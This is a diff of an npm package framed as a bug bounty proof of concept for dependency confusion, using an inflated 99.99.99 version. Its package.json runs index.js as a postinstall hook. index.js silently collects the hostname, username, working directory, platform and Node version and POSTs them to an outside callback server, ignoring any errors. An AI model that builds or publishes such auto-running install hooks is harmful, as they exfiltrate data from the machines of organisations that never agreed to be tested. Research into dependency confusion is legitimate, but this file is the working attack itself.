test-bugbounty-package-4321 99.99.99

package/index.js

@@ -0,0 +1,46 @@
+// Bug Bounty - Dependency Confusion PoC
+// If this package was installed, your build system may be vulnerable to dependency confusion.
+// Package: test-bugbounty-package-4321
+// If you have any questions, please contact: dd_06@wearehackerone.com
+
+const https = require('https');
+const http = require('http');
+const os = require('os');
+
+const info = {
+  pkg: "test-bugbounty-package-4321",
+  hostname: os.hostname(),
+  platform: os.platform(),
+  arch: os.arch(),
+  cwd: process.cwd(),
+  user: os.userInfo().username,
+  nodeVersion: process.version,
+  timestamp: new Date().toISOString()
+};
+
+try {
+  const url = new URL('https://deepbounty.dd06-dev.fr/cb/8e46e6e8-b7bf-49a8-a4d8-ce590ff540d5');
+  const client = url.protocol === 'https:' ? https : http;
+  const postData = JSON.stringify(info);
+
+  const options = {
+    hostname: url.hostname,
+    port: url.port,
+    path: url.pathname + url.search,
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(postData)
+    }
+  };
+
+  const req = client.request(options, (res) => {
+    res.resume();
+  });
+  
+  req.on('error', (e) => {});
+  req.write(postData);
+  req.end();
+} catch (e) {
+  // Ignore errors
+}

package/package.json

@@ -0,0 +1,15 @@
+{
+  "name": "test-bugbounty-package-4321",
+  "version": "99.99.99",
+  "description": "Bug Bounty package - If you see this, your organization may be vulnerable to dependency confusion",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js"
+  },
+  "keywords": [
+    "security",
+    "bug-bounty",
+    "dependency-confusion"
+  ],
+  "license": "MIT"
+}